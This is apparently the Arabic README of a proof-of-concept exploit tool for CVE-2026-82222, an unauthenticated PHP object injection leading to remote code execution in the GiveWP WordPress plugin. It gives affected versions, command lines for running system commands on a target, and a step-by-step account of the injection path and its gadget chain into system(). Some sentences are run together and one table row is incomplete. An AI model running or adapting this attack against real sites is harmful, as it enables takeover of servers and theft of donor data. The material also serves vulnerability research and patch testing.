
إثبات مفهوم لاستغلال CVE-2026-82222، وهو حقن كائنات PHP غير مصادق عليه يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في إضافة GiveWP لووردبريس حتى الإصدار 4.16.7.1.
| النطاق | قابل للاستغلال؟ |
|---|
<= 4.16.5.1 | التثبيت الافتراضي. نموذج واحد منشور وبوابة دفع واحدة نشطة. |
4.16.6 إلى 4.16.7.1 | نعم، إذا كان هناك نموذج قديم (غير V3). التثبيت الجديد بـ V3 فقط غير قابل للاستغلال. |
الإشعار الأمني: https://patchstack.com/articles/unauthenticated-php-object-injection-to-remote-code-execution-on-givewp/
يتطلب Python 3.8+ ومكتبة requests.
pip install requests
python cve-2026-82222.py http://127.0.0.1:8080
python cve-2026-82222.py http://127.0.0.1:8080 --check
python cve-2026-82222.py http://127.0.0.1:8080 42 -c id
python cve-2026-82222.py http://127.0.0.1:8080 -g offline
القيمة الافتراضية لـ -c هي id. لا يُسمح بالأحرف < > & % في الأمر؛ يتم تحويل المسافات إلى ${IFS}.
مرّر معرّف النموذج إذا فشل الاكتشاف. مرّر -g إذا لم يتمكن السكربت من العثور على بوابة دفع مفعّلة.
غالبًا ما يُرجع طلب التبرع HTTP 500 أو ينتهي بانتهاء المهلة. هذا أمر متوقع. تحدث كتابة الجلسة أولاً. يظهر ناتج system() في الطلب التالي (/?give_action=view_receipt وما شابه)، وليس في ملف على القرص.
python cve-2026-82222.py -h لبقية الخيارات.
POST give_action=user_register. يقوم GiveWP بإنشاء الحساب وتعيين ملف تعريف ارتباط للمصادقة. لا يتحقق من users_can_register.last_name عبر /wp-admin/profile.php.give_last. يقرأ process-donation.php الاسم من usermeta، وينفذ maybeSafeUnserialize (allowed_classes => false)، ويكتب __PHP_Incomplete_Class في wp_give_sessions. يعيد PHP إصدار البايتات الأصلية للكائن عند الدخول.TCPDF::__destruct() إلى call_user_func_array('system', [cmd]). يظهر الإخراج القياسي في تلك الاستجابة.TCPDF.__destruct()
-> Symfony Session.getIterator()
-> Give\TestData ProviderForwarder.__call()
-> call_user_func_array('system', [cmd])
يعمل pre_user_last_name على إزالة أحرف NUL، لذا تبقى خصائص الحمولة سليمة. يتم مضاعفة الخطوط المائلة العكسية أربع مرات لتحمل stripslashes_deep ثم removeBackslashes.
MIT. انظر LICENSE.